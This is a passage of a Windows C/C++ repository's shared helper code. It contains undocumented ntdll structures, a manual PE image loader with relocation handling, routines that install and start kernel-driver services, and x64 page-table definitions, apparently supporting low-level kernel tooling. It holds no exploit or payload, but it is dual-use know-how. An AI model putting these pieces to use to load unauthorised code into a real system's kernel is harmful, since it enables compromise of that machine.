43 | #define INTERLOCKED_PTR_SET(_addr_, _val_) InterlockedExchangeAdd64((LONGLONG *)(_addr_), (LONGLONG)(_val_))
44 |
45 | #endif
46 |
47 |
48 | #define PAGE_SHIFT 12
49 | #define PAGE_SIZE 0x1000
50 |
51 | #define IFMT32 "0x%.8x"
52 | #define IFMT64 "0x%.16I64x"
53 |
54 | #define IFMT32_W L"0x%.8x"
55 | #define IFMT64_W L"0x%.16I64x"
56 |
57 | #ifdef _X86_
58 |
59 | // 32-bit pointers format string
60 | #define IFMT IFMT32
61 | #define IFMT_W IFMT32_W
62 |
63 | #else _AMD64_
64 |
65 | // 64-bit pointers format string
66 | #define IFMT IFMT64
67 | #define IFMT_W IFMT64_W
68 |
69 | #endif
70 |
71 |
72 | #define GET_IMPORT(_lib_, _name_) \
73 | \
74 | func_##_name_ f_##_name_ = (func_##_name_)GetProcAddress( \
75 | LoadLibrary((_lib_)), #_name_);
76 |
77 |
78 | #define GET_NATIVE(_name_) GET_IMPORT("ntdll.dll", _name_)
79 |
80 |
81 | char *GetNameFromFullPath(char *lpszPath);
82 |
83 | BOOL ReadFromFile(HANDLE hFile, PVOID *pData, PDWORD pdwDataSize);
84 | BOOL ReadFromFile(LPCTSTR lpszFileName, PVOID *pData, PDWORD pdwDataSize);
85 |
86 | BOOL DumpToFile(HANDLE hFile, PVOID Data, DWORD dwDataSize);
87 | BOOL DumpToFile(char *lpszFileName, PVOID Data, DWORD dwDataSize);
88 |
89 | BOOL LoadPrivileges(char *lpszName);
90 |
91 | PVOID GetSystemInformation(SYSTEM_INFORMATION_CLASS InfoClass);
92 | DWORD GetThreadState(DWORD dwProcessId, DWORD dwThreadId);
93 | PVOID GetObjectAddress(HANDLE hObject);
94 |
--------------------------------------------------------------------------------
/common/debug.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | //--------------------------------------------------------------------------------------
3 | #ifdef DBG
4 |
5 | void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...)
6 | {
7 | va_list arg_list;
8 | va_start(arg_list, lpszMsg);
9 |
10 | int Len = _vscprintf(lpszMsg, arg_list) + MAX_PATH;
11 |
12 | char *lpszBuff = (char *)M_ALLOC(Len);
13 | if (lpszBuff == NULL)
14 | {
15 | va_end(arg_list);
16 | return;
17 | }
18 |
19 | char *lpszOutBuff = (char *)M_ALLOC(Len);
20 | if (lpszOutBuff == NULL)
21 | {
22 | M_FREE(lpszBuff);
23 | va_end(arg_list);
24 | return;
25 | }
26 |
27 | vsprintf(lpszBuff, lpszMsg, arg_list);
28 | va_end(arg_list);
29 |
30 | sprintf(lpszOutBuff, "%s(%d) : %s", GetNameFromFullPath(lpszFile), Line, lpszBuff);
31 |
32 | // write message into the debug output
33 | OutputDebugStringA(lpszOutBuff);
34 |
35 | HANDLE hStd = GetStdHandle(STD_OUTPUT_HANDLE);
36 | if (hStd != INVALID_HANDLE_VALUE)
37 | {
38 | DWORD dwWritten = 0;
39 |
40 | // write message into the console
41 | WriteFile(hStd, lpszOutBuff, lstrlen(lpszOutBuff), &dwWritten, NULL);
42 | }
43 |
44 | M_FREE(lpszBuff);
45 | M_FREE(lpszOutBuff);
46 | }
47 |
48 | #endif // DBG
49 | //--------------------------------------------------------------------------------------
50 | // EoF
51 |
--------------------------------------------------------------------------------
/common/debug.h:
--------------------------------------------------------------------------------
1 |
2 | #ifdef DBG
3 |
4 | void DbgMsg(char *lpszFile, int Line, char *lpszMsg, ...);
5 |
6 | #else
7 |
8 | #define DbgMsg
9 |
10 | #endif
11 |
--------------------------------------------------------------------------------
/common/ntdll_defs.h:
--------------------------------------------------------------------------------
1 |
2 | typedef LONG NTSTATUS;
3 |
4 | typedef struct _IO_STATUS_BLOCK
5 | {
6 | union
7 | {
8 | NTSTATUS Status;
9 | PVOID Pointer;
10 | };
11 |
12 | ULONG_PTR Information;
13 |
14 | } IO_STATUS_BLOCK,
15 | *PIO_STATUS_BLOCK;
16 |
17 | typedef struct _CLIENT_ID
18 | {
19 | HANDLE UniqueProcess;
20 | HANDLE UniqueThread;
21 |
22 | } CLIENT_ID,
23 | *PCLIENT_ID;
24 |
25 | #ifndef _NTSECAPI_
26 |
27 | typedef struct _UNICODE_STRING
28 | {
29 | USHORT Length;
30 | USHORT MaximumLength;
31 | PWSTR Buffer;
32 |
33 | } UNICODE_STRING,
34 | *PUNICODE_STRING;
35 |
36 | #endif
37 |
38 | typedef struct _STRING
39 | {
40 | USHORT Length;
41 | USHORT MaximumLength;
42 | PCHAR Buffer;
43 |
44 | } ANSI_STRING,
45 | *PANSI_STRING;
46 |
47 | #define OBJ_INHERIT 0x00000002
48 | #define OBJ_PERMANENT 0x00000010
49 | #define OBJ_EXCLUSIVE 0x00000020
50 | #define OBJ_CASE_INSENSITIVE 0x00000040
51 | #define OBJ_OPENIF 0x00000080
52 | #define OBJ_OPENLINK 0x00000100
53 | #define OBJ_VALID_ATTRIBUTES 0x000001F2
54 | #define OBJ_KERNEL_HANDLE 0x00000200
55 |
56 | typedef struct _OBJECT_ATTRIBUTES
57 | {
58 | ULONG Length;
59 | HANDLE RootDirectory;
60 | PUNICODE_STRING ObjectName;
61 | ULONG Attributes;
62 | PVOID SecurityDescriptor;
63 | PVOID SecurityQualityOfService;
64 |
65 | } OBJECT_ATTRIBUTES,
66 | *POBJECT_ATTRIBUTES;
67 |
68 |
69 | #define InitializeObjectAttributes(_ptr_, _name_, _attr_, _root_, _sd_) \
70 | \
71 | { \
72 | (_ptr_)->Length = sizeof(OBJECT_ATTRIBUTES); \
73 | (_ptr_)->RootDirectory = (_root_); \
74 | (_ptr_)->Attributes = (_attr_); \
75 | (_ptr_)->ObjectName = (_name_); \
76 | (_ptr_)->SecurityDescriptor = (_sd_); \
77 | (_ptr_)->SecurityQualityOfService = NULL; \
78 | }
79 |
80 |
81 | #define NT_SUCCESS(Status) ((LONG)(Status) >= 0)
82 | #define NT_ERROR(Status) ((ULONG)(Status) >> 30 == 3)
83 |
84 | #define NtCurrentProcess() ((HANDLE)-1)
85 | #define NtCurrentThread() ((HANDLE)-2)
86 |
87 | #define STATUS_BUFFER_OVERFLOW 0x80000005L
88 | #define STATUS_NO_MORE_FILES 0x80000006L
89 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004L
90 | #define STATUS_BUFFER_TOO_SMALL 0xC0000023L
91 | #define STATUS_UNSUCCESSFUL 0xC0000001L
92 | #define STATUS_IMAGE_ALREADY_LOADED 0xC000010EL
93 |
--------------------------------------------------------------------------------
/common/ntdll_undocnt.h:
--------------------------------------------------------------------------------
1 |
2 | typedef struct _LDR_DATA_TABLE_ENTRY
3 | {
4 | LIST_ENTRY InLoadOrderModuleList;
5 | LIST_ENTRY InMemoryOrderModuleList;
6 | LIST_ENTRY InInitializationOrderModuleList;
7 | PVOID DllBase;
8 | PVOID EntryPoint;
9 | ULONG SizeOfImage;
10 | UNICODE_STRING FullDllName;
11 | UNICODE_STRING BaseDllName;
12 | ULONG Flags;
13 | USHORT LoadCount;
14 | USHORT TlsIndex;
15 | LIST_ENTRY HashLinks;
16 | PVOID SectionPointer;
17 | ULONG CheckSum;
18 | ULONG TimeDateStamp;
19 |
20 | } LDR_DATA_TABLE_ENTRY,
21 | *PLDR_DATA_TABLE_ENTRY;
22 |
23 | typedef struct _PEB_LDR_DATA
24 | {
25 | ULONG Length;
26 | BOOLEAN Initialized;
27 | PVOID SsHandle;
28 | LIST_ENTRY ModuleListLoadOrder;
29 | LIST_ENTRY ModuleListMemoryOrder;
30 | LIST_ENTRY ModuleListInitOrder;
31 |
32 | } PEB_LDR_DATA,
33 | *PPEB_LDR_DATA;
34 |
35 | /************************************************************/
36 | /* */
37 | /* Some structures for native API functions */
38 | /* */
39 | /************************************************************/
40 |
41 | typedef enum _SYSTEM_INFORMATION_CLASS
42 | {
43 | SystemBasicInformation,
44 | SystemProcessorInformation,
45 | SystemPerformanceInformation,
46 | SystemTimeOfDayInformation,
47 | SystemPathInformation,
48 | SystemProcessInformation,
49 | SystemCallCountInformation,
50 | SystemDeviceInformation,
51 | SystemProcessorPerformanceInformation,
52 | SystemFlagsInformation,
53 | SystemCallTimeInformation,
54 | SystemModuleInformation,
55 | SystemLocksInformation,
56 | SystemStackTraceInformation,
57 | SystemPagedPoolInformation,
58 | SystemNonPagedPoolInformation,
59 | SystemHandleInformation,
60 | SystemObjectInformation,
61 | SystemPageFileInformation,
62 | SystemVdmInstemulInformation,
63 | SystemVdmBopInformation,
64 | SystemFileCacheInformation,
65 | SystemPoolTagInformation,
66 | SystemInterruptInformation,
67 | SystemDpcBehaviorInformation,
68 | SystemFullMemoryInformation,
69 | SystemLoadGdiDriverInformation,
70 | SystemUnloadGdiDriverInformation,
71 | SystemTimeAdjustmentInformation,
72 | SystemSummaryMemoryInformation,
73 | SystemMirrorMemoryInformation,
74 | SystemPerformanceTraceInformation,
75 | SystemObsolete0,
76 | SystemExceptionInformation,
77 | SystemCrashDumpStateInformation,
78 | SystemKernelDebuggerInformation,
79 | SystemContextSwitchInformation,
80 | SystemRegistryQuotaInformation,
81 | SystemExtendServiceTableInformation,
82 | SystemPrioritySeperation,
83 | SystemVerifierAddDriverInformation,
84 | SystemVerifierRemoveDriverInformation,
85 | SystemProcessorIdleInformation,
86 | SystemLegacyDriverInformation,
87 | SystemCurrentTimeZoneInformation,
88 | SystemLookasideInformation,
89 | SystemTimeSlipNotification,
90 | SystemSessionCreate,
91 | SystemSessionDetach,
92 | SystemSessionInformation,
93 | SystemRangeStartInformation,
94 | SystemVerifierInformation,
95 | SystemVerifierThunkExtend,
96 | SystemSessionProcessInformation,
97 | SystemLoadGdiDriverInSystemSpace,
98 | SystemNumaProcessorMap,
99 | SystemPrefetcherInformation,
100 | SystemExtendedProcessInformation,
101 | SystemRecommendedSharedDataAlignment,
102 | SystemComPlusPackage,
103 | SystemNumaAvailableMemory,
104 | SystemProcessorPowerInformation,
105 | SystemEmulationBasicInformation,
106 | SystemEmulationProcessorInformation,
107 | SystemExtendedHandleInformation,
108 | SystemLostDelayedWriteInformation,
109 | SystemBigPoolInformation,
110 | SystemSessionPoolTagInformation,
111 | SystemSessionMappedViewInformation,
112 | SystemHotpatchInformation,
113 | SystemObjectSecurityMode,
114 | SystemWatchdogTimerHandler,
115 | SystemWatchdogTimerInformation,
116 | SystemLogicalProcessorInformation,
117 | SystemWow64SharedInformation,
118 | SystemRegisterFirmwareTableInformationHandler,
119 | SystemFirmwareTableInformation,
120 | SystemModuleInformationEx,
121 | SystemVerifierTriageInformation,
122 | SystemSuperfetchInformation,
123 | SystemMemoryListInformation,
124 | SystemFileCacheInformationEx,
125 | MaxSystemInfoClass
126 |
127 | } SYSTEM_INFORMATION_CLASS;
128 |
129 | typedef struct _RTL_PROCESS_MODULE_INFORMATION
130 | {
131 | HANDLE Section;
132 | PVOID MappedBase;
133 | PVOID ImageBase;
134 | ULONG ImageSize;
135 | ULONG Flags;
136 | USHORT LoadOrderIndex;
137 | USHORT InitOrderIndex;
138 | USHORT LoadCount;
139 | USHORT OffsetToFileName;
140 | UCHAR FullPathName[256];
141 |
142 | } RTL_PROCESS_MODULE_INFORMATION,
143 | *PRTL_PROCESS_MODULE_INFORMATION;
144 |
145 | typedef struct _RTL_PROCESS_MODULES
146 | {
147 | ULONG NumberOfModules;
148 | RTL_PROCESS_MODULE_INFORMATION Modules[1];
149 |
150 | } RTL_PROCESS_MODULES,
151 | *PRTL_PROCESS_MODULES;
152 |
153 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
154 | {
155 | USHORT UniqueProcessId;
156 | USHORT CreatorBackTraceIndex;
157 | UCHAR ObjectTypeIndex;
158 | UCHAR HandleAttributes;
159 | USHORT HandleValue;
160 | PVOID Object;
161 | ULONG GrantedAccess;
162 |
163 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO,
164 | *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
165 |
166 | typedef struct _SYSTEM_HANDLE_INFORMATION
167 | {
168 | ULONG NumberOfHandles;
169 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
170 |
171 | } SYSTEM_HANDLE_INFORMATION,
172 | *PSYSTEM_HANDLE_INFORMATION;
173 |
174 | typedef enum _KTHREAD_STATE
175 | {
176 | Initialized,
177 | Ready,
178 | Running,
179 | Standby,
180 | Terminated,
181 | Waiting,
182 | Transition,
183 | DeferredReady,
184 | GateWaitObsolete,
185 | WaitingForProcessInSwap,
186 | MaximumThreadState
187 |
188 | } KTHREAD_STATE,
189 | *PKTHREAD_STATE;
190 |
191 | typedef enum _KWAIT_REASON
192 | {
193 | Executive,
194 | FreePage,
195 | PageIn,
196 | PoolAllocation,
197 | DelayExecution,
198 | Suspended,
199 | UserRequest,
200 | WrExecutive,
201 | WrFreePage,
202 | WrPageIn,
203 | WrPoolAllocation,
204 | WrDelayExecution,
205 | WrSuspended,
206 | WrUserRequest,
207 | WrEventPair,
208 | WrQueue,
209 | WrLpcReceive,
210 | WrLpcReply,
211 | WrVirtualMemory,
212 | WrPageOut,
213 | WrRendezvous,
214 | WrKeyedEvent,
215 | WrTerminated,
216 | WrProcessInSwap,
217 | WrCpuRateControl,
218 | WrCalloutStack,
219 | WrKernel,
220 | WrResource,
221 | WrPushLock,
222 | WrMutex,
223 | WrQuantumEnd,
224 | WrDispatchInt,
225 | WrPreempted,
226 | WrYieldExecution,
227 | WrFastMutex,
228 | WrGuardedMutex,
229 | WrRundown,
230 | WrAlertByThreadId,
231 | WrDeferredPreempt,
232 | WrPhysicalFault,
233 | MaximumWaitReason
234 |
235 | } KWAIT_REASON,
236 | *PKWAIT_REASON;
237 |
238 | typedef struct _SYSTEM_THREAD_INFORMATION
239 | {
240 | LARGE_INTEGER KernelTime;
241 | LARGE_INTEGER UserTime;
242 | LARGE_INTEGER CreateTime;
243 | ULONG WaitTime;
244 | PVOID StartAddress;
245 | CLIENT_ID ClientId;
246 | ULONG Priority;
247 | LONG BasePriority;
248 | ULONG ContextSwitches;
249 | KTHREAD_STATE ThreadState;
250 | KWAIT_REASON WaitReason;
251 |
252 | } SYSTEM_THREAD_INFORMATION,
253 | *PSYSTEM_THREAD_INFORMATION;
254 |
255 | typedef struct _SYSTEM_PROCESS_INFORMATION
256 | {
257 | ULONG NextEntryOffset;
258 | ULONG NumberOfThreads;
259 | LARGE_INTEGER WorkingSetPrivateSize;
260 | ULONG HardFaultCount;
261 | ULONG NumberOfThreadsHighWatermark;
262 | ULONGLONG CycleTime;
263 | LARGE_INTEGER CreateTime;
264 | LARGE_INTEGER UserTime;
265 | LARGE_INTEGER KernelTime;
266 | UNICODE_STRING ImageName;
267 | ULONG BasePriority;
268 | HANDLE UniqueProcessId;
269 | HANDLE InheritedFromUniqueProcessId;
270 | ULONG HandleCount;
271 | ULONG SessionId;
272 | ULONG_PTR UniqueProcessKey;
273 | SIZE_T PeakVirtualSize;
274 | SIZE_T VirtualSize;
275 | ULONG PageFaultCount;
276 | SIZE_T PeakWorkingSetSize;
277 | SIZE_T WorkingSetSize;
278 | SIZE_T QuotaPeakPagedPoolUsage;
279 | SIZE_T QuotaPagedPoolUsage;
280 | SIZE_T QuotaPeakNonPagedPoolUsage;
281 | SIZE_T QuotaNonPagedPoolUsage;
282 | SIZE_T PagefileUsage;
283 | SIZE_T PeakPagefileUsage;
284 | SIZE_T PrivatePageCount;
285 | LARGE_INTEGER ReadOperationCount;
286 | LARGE_INTEGER WriteOperationCount;
287 | LARGE_INTEGER OtherOperationCount;
288 | LARGE_INTEGER ReadTransferCount;
289 | LARGE_INTEGER WriteTransferCount;
290 | LARGE_INTEGER OtherTransferCount;
291 | SYSTEM_THREAD_INFORMATION Threads[1];
292 |
293 | } SYSTEM_PROCESS_INFORMATION,
294 | *PSYSTEM_PROCESS_INFORMATION;
295 |
296 |
297 | /************************************************************/
298 | /* */
299 | /* Prototypes for native and kernel API functions */
300 | /* */
301 | /************************************************************/
302 |
303 | typedef NTSTATUS (WINAPI * func_NtQuerySystemInformation)(
304 | SYSTEM_INFORMATION_CLASS SystemInformationClass,
305 | PVOID SystemInformation,
306 | ULONG SystemInformationLength,
307 | PULONG ReturnLength
308 | );
309 |
310 | typedef NTSTATUS (WINAPI * func_RtlGetVersion)(PRTL_OSVERSIONINFOW lpVersionInformation);
311 |
312 | typedef enum _POOL_TYPE
313 | {
314 | NonPagedPool,
315 | PagedPool
316 |
317 | } POOL_TYPE;
318 |
--------------------------------------------------------------------------------
/common/peimage.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | //--------------------------------------------------------------------------------------
3 | DWORD LdrGetProcAddress(PVOID Image, char *lpszName)
4 | {
5 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA(
6 | Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
7 |
8 | DWORD Addr = 0;
9 | DWORD ExportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
10 | DWORD ExportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
11 |
12 | if (ExportAddr != 0)
13 | {
14 | PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, ExportAddr);
15 |
16 | if (pExport->AddressOfFunctions == 0 ||
17 | pExport->AddressOfNameOrdinals == 0 ||
18 | pExport->AddressOfNames == 0)
19 | {
20 | // no exports by name
21 | return 0;
22 | }
23 |
24 | // parse module exports
25 | PDWORD AddrOfFunctions = (PDWORD)RVATOVA(Image, pExport->AddressOfFunctions);
26 | PWORD AddrOfOrdinals = (PWORD)RVATOVA(Image, pExport->AddressOfNameOrdinals);
27 | PDWORD AddrOfNames = (PDWORD)RVATOVA(Image, pExport->AddressOfNames);
28 |
29 | for (DWORD i = 0; i < pExport->NumberOfNames; i += 1)
30 | {
31 | char *lpszExport = (char *)RVATOVA(Image, AddrOfNames[i]);
32 |
33 | // calculate and compare hash of function
34 | if (!strcmp(lpszExport, lpszName))
35 | {
36 | // get exported function RVA
37 | Addr = AddrOfFunctions[AddrOfOrdinals[i]];
38 | break;
39 | }
40 | }
41 | }
42 | else
43 | {
44 | // no export table present
45 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Export table is not found\n");
46 | return 0;
47 | }
48 |
49 | if (Addr != 0)
50 | {
51 | // check for the forwarded export
52 | if (Addr > ExportAddr &&
53 | Addr < ExportAddr + ExportSize)
54 | {
55 | DbgMsg(__FILE__, __LINE__, __FUNCTION__"() ERROR: Forwarded export\n");
56 | return 0;
57 | }
58 |
59 | return Addr;
60 | }
61 |
62 | return 0;
63 | }
64 | //--------------------------------------------------------------------------------------
65 | BOOL LdrProcessRelocs(PVOID Image, PVOID NewBase)
66 | {
67 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA(
68 | Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
69 |
70 | DWORD_PTR OldBase = pHeaders->OptionalHeader.ImageBase;
71 | DWORD RelocAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
72 | DWORD RelocSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
73 |
74 | if (RelocAddr == 0)
75 | {
76 | // no image relocations are present but it's ok
77 | return TRUE;
78 | }
79 |
80 | DWORD Size = 0;
81 | PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(Image, RelocAddr);
82 |
83 | while (RelocSize > Size && pRelocation->SizeOfBlock)
84 | {
85 | DWORD Num = (pRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
86 | PWORD Rel = (PWORD)RVATOVA(pRelocation, sizeof(IMAGE_BASE_RELOCATION));
87 |
88 | for (DWORD i = 0; i < Num; i += 1)
89 | {
90 | if (Rel[i] > 0)
91 | {
92 | WORD Type = (Rel[i] & 0xF000) >> 12;
93 |
94 | // check for supporting type
95 | if (Type != IMAGE_REL_BASED_DIR64 &&
96 | Type != IMAGE_REL_BASED_ABSOLUTE)
97 | {
98 | DbgMsg(__FILE__, __LINE__, __FUNCTION__ "() ERROR: Unknown relocation type %d\n", Type);
99 | return FALSE;
100 | }
101 |
102 | if (Type == IMAGE_REL_BASED_DIR64)
103 | {
104 | // fix relocation value
105 | *(PDWORD64)(RVATOVA(
106 | Image,
107 | pRelocation->VirtualAddress + (Rel[i] & 0x0FFF))) += (DWORD64)NewBase - OldBase;
108 | }
109 | }
110 | }
111 |
112 | // go to the next block
113 | pRelocation = (PIMAGE_BASE_RELOCATION)RVATOVA(pRelocation, pRelocation->SizeOfBlock);
114 | Size += pRelocation->SizeOfBlock;
115 | }
116 |
117 | return TRUE;
118 | }
119 | //--------------------------------------------------------------------------------------
120 | BOOL LdrMapImage(PVOID Data, DWORD dwDataSize, PVOID *pImage, PDWORD pdwImageSize)
121 | {
122 | PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)RVATOVA(
123 | Data, ((PIMAGE_DOS_HEADER)Data)->e_lfanew);
124 |
125 | PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)RVATOVA(
126 | &pHeaders->OptionalHeader, pHeaders->FileHeader.SizeOfOptionalHeader);
127 |
128 | DWORD dwImageSize = pHeaders->OptionalHeader.SizeOfImage;
129 |
130 | // allocate image memory
131 | PVOID Image = M_ALLOC(dwImageSize);
132 | if (Image)
133 | {
134 | // copy image headers
135 | ZeroMemory(Image, dwImageSize);
136 | CopyMemory(Image, Data, pHeaders->OptionalHeader.SizeOfHeaders);
137 |
138 | // copy image sections
139 | for (DWORD i = 0; i < pHeaders->FileHeader.NumberOfSections; i += 1)
140 | {
141 | memcpy(
142 | RVATOVA(Image, pSection->VirtualAddress),
143 | RVATOVA(Data, pSection->PointerToRawData),
144 | min(pSection->SizeOfRawData, pSection->Misc.VirtualSize)
145 | );
146 |
147 | pSection += 1;
148 | }
149 |
150 | *pImage = Image;
151 | *pdwImageSize = dwImageSize;
152 |
153 | return TRUE;
154 | }
155 | else
156 | {
157 | DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n\n", GetLastError());
158 | }
159 |
160 | return FALSE;
161 | }
162 | //--------------------------------------------------------------------------------------
163 | // EoF
164 |
--------------------------------------------------------------------------------
/common/peimage.h:
--------------------------------------------------------------------------------
1 |
2 | DWORD LdrGetProcAddress(PVOID Image, char *lpszName);
3 | BOOL LdrProcessRelocs(PVOID Image, PVOID NewBase);
4 | BOOL LdrMapImage(PVOID Data, DWORD dwDataSize, PVOID *Image, PDWORD pdwImageSize);
5 |
--------------------------------------------------------------------------------
/common/service.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | //--------------------------------------------------------------------------------------
3 | BOOL ServiceStart(char *lpszName, char *lpszPath, BOOL bCreate)
4 | {
5 | BOOL bRet = FALSE;
6 |
7 | SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
8 | if (hManager)
9 | {
10 | SC_HANDLE hService = NULL;
11 |
12 | if (bCreate)
13 | {
14 | // create service for kernel-mode driver
15 | hService = CreateService(
16 | hManager, lpszName, lpszName, SERVICE_START | DELETE | SERVICE_STOP,
17 | SERVICE_KERNEL_DRIVER, SERVICE_SYSTEM_START, SERVICE_ERROR_IGNORE,
18 | lpszPath, NULL, NULL, NULL, NULL, NULL
19 | );
20 | if (hService == NULL)
21 | {
22 | if (GetLastError() == ERROR_SERVICE_EXISTS)
23 | {
24 | // open existing service
25 | if ((hService = OpenService(hManager, lpszName, SERVICE_START | DELETE | SERVICE_STOP)) == NULL)
26 | {
27 | DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
28 | }
29 | }
30 | else
31 | {
32 | DbgMsg(__FILE__, __LINE__, "CreateService() ERROR %d\n", GetLastError());
33 | }
34 | }
35 | }
36 | else
37 | {
38 | // open existing service
39 | hService = OpenService(hManager, lpszName, SERVICE_START | DELETE | SERVICE_STOP);
40 | }
41 |
42 | if (hService)
43 | {
44 | // start service
45 | if (StartService(hService, 0, NULL))
46 | {
47 | bRet = TRUE;
48 | }
49 | else
50 | {
51 | if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING)
52 | {
53 | // service is already started
54 | bRet = TRUE;
55 | }
56 | else
57 | {
58 | DbgMsg(__FILE__, __LINE__, "StartService() ERROR %d\n", GetLastError());
59 | }
60 | }
61 |
62 | CloseServiceHandle(hService);
63 | }
64 |
65 | CloseServiceHandle(hManager);
66 | }
67 | else
68 | {
69 | DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
70 | }
71 |
72 | return bRet;
73 | }
74 | //--------------------------------------------------------------------------------------
75 | BOOL ServiceStop(char *lpszName)
76 | {
77 | BOOL bRet = FALSE;
78 |
79 | SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
80 | if (hManager)
81 | {
82 | // open existing service
83 | SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS);
84 | if (hService)
85 | {
86 | SERVICE_STATUS Status;
87 |
88 | // stop service
89 | if (ControlService(hService, SERVICE_CONTROL_STOP, &Status))
90 | {
91 | bRet = TRUE;
92 | }
93 | else
94 | {
95 | DbgMsg(__FILE__, __LINE__, "ControlService() ERROR %d\n", GetLastError());
96 | }
97 |
98 | CloseServiceHandle(hService);
99 | }
100 | else
101 | {
102 | DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
103 | }
104 |
105 | CloseServiceHandle(hManager);
106 | }
107 | else
108 | {
109 | DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
110 | }
111 |
112 | return bRet;
113 | }
114 | //--------------------------------------------------------------------------------------
115 | BOOL ServiceRemove(char *lpszName)
116 | {
117 | BOOL bRet = FALSE;
118 |
119 | SC_HANDLE hManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
120 | if (hManager)
121 | {
122 | // open existing service
123 | SC_HANDLE hService = OpenService(hManager, lpszName, SERVICE_ALL_ACCESS);
124 | if (hService)
125 | {
126 | // delete service
127 | if (DeleteService(hService))
128 | {
129 | bRet = TRUE;
130 | }
131 | else
132 | {
133 | DbgMsg(__FILE__, __LINE__, "DeleteService() ERROR %d\n", GetLastError());
134 | }
135 |
136 | CloseServiceHandle(hService);
137 | }
138 | else
139 | {
140 | DbgMsg(__FILE__, __LINE__, "OpenService() ERROR %d\n", GetLastError());
141 | }
142 |
143 | CloseServiceHandle(hManager);
144 | }
145 | else
146 | {
147 | DbgMsg(__FILE__, __LINE__, "OpenSCManager() ERROR %d\n", GetLastError());
148 | }
149 |
150 | return bRet;
151 | }
152 | //--------------------------------------------------------------------------------------
153 | // EoF
154 |
--------------------------------------------------------------------------------
/common/service.h:
--------------------------------------------------------------------------------
1 |
2 | BOOL ServiceStart(char *lpszName, char *lpszPath, BOOL bCreate);
3 | BOOL ServiceStop(char *lpszName);
4 | BOOL ServiceRemove(char *lpszName);
5 |
--------------------------------------------------------------------------------
/common/virtmem.h:
--------------------------------------------------------------------------------
1 |
2 | #pragma pack(1)
3 |
4 | //
5 | // Page Map Level 4 Offset (PML4) and
6 | // Page Directory Pointer Table (PDPE) entries 4K & 2M
7 | //
8 | typedef union
9 | {
10 | struct
11 | {
12 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory
13 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write
14 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User
15 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching
16 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached
17 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU)
18 | DWORD64 Reserved : 1; // Reserved
19 | DWORD64 MustBeZero : 2; // Must Be Zero
20 | DWORD64 Available : 3; // Available for use by system software
21 | DWORD64 PageTableBaseAddress : 40; // Page Table Base Address
22 | DWORD64 AvabilableHigh : 11; // Available for use by system software
23 | DWORD64 Nx : 1; // No Execute bit
24 |
25 | } Bits;
26 |
27 | DWORD64 Uint64;
28 |
29 | } X64_PAGE_MAP_AND_DIRECTORY_POINTER_2MB_4K;
30 |
31 | //
32 | // Page Directory Entry 4K
33 | //
34 | typedef union
35 | {
36 | struct
37 | {
38 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory
39 | DWORD64 ReadWrite : 1; // 0 = Read-Only, 1= Read/Write
40 | DWORD64 UserSupervisor : 1; // 0 = Supervisor, 1=User
41 | DWORD64 WriteThrough : 1; // 0 = Write-Back caching, 1=Write-Through caching
42 | DWORD64 CacheDisabled : 1; // 0 = Cached, 1=Non-Cached
43 | DWORD64 Accessed : 1; // 0 = Not accessed, 1 = Accessed (set by CPU)
44 | DWORD64 MustBeZero : 3; // Must Be Zero
45 | DWORD64 Available : 3; // Available for use by system software
46 | DWORD64 PageTableBaseAddress : 40; // Page Table Base Address
47 | DWORD64 AvabilableHigh : 11; // Available for use by system software
48 | DWORD64 Nx : 1; // No Execute bit
49 |
50 | } Bits;
51 |
52 | DWORD64 Uint64;
53 |
54 | } X64_PAGE_DIRECTORY_ENTRY_4K;
55 |
56 | //
57 | // Page Table Entry 4K
58 | //
59 | typedef union
60 | {
61 | struct
62 | {
63 | DWORD64 Present : 1; // 0 = Not present in memory, 1 = Present in memory
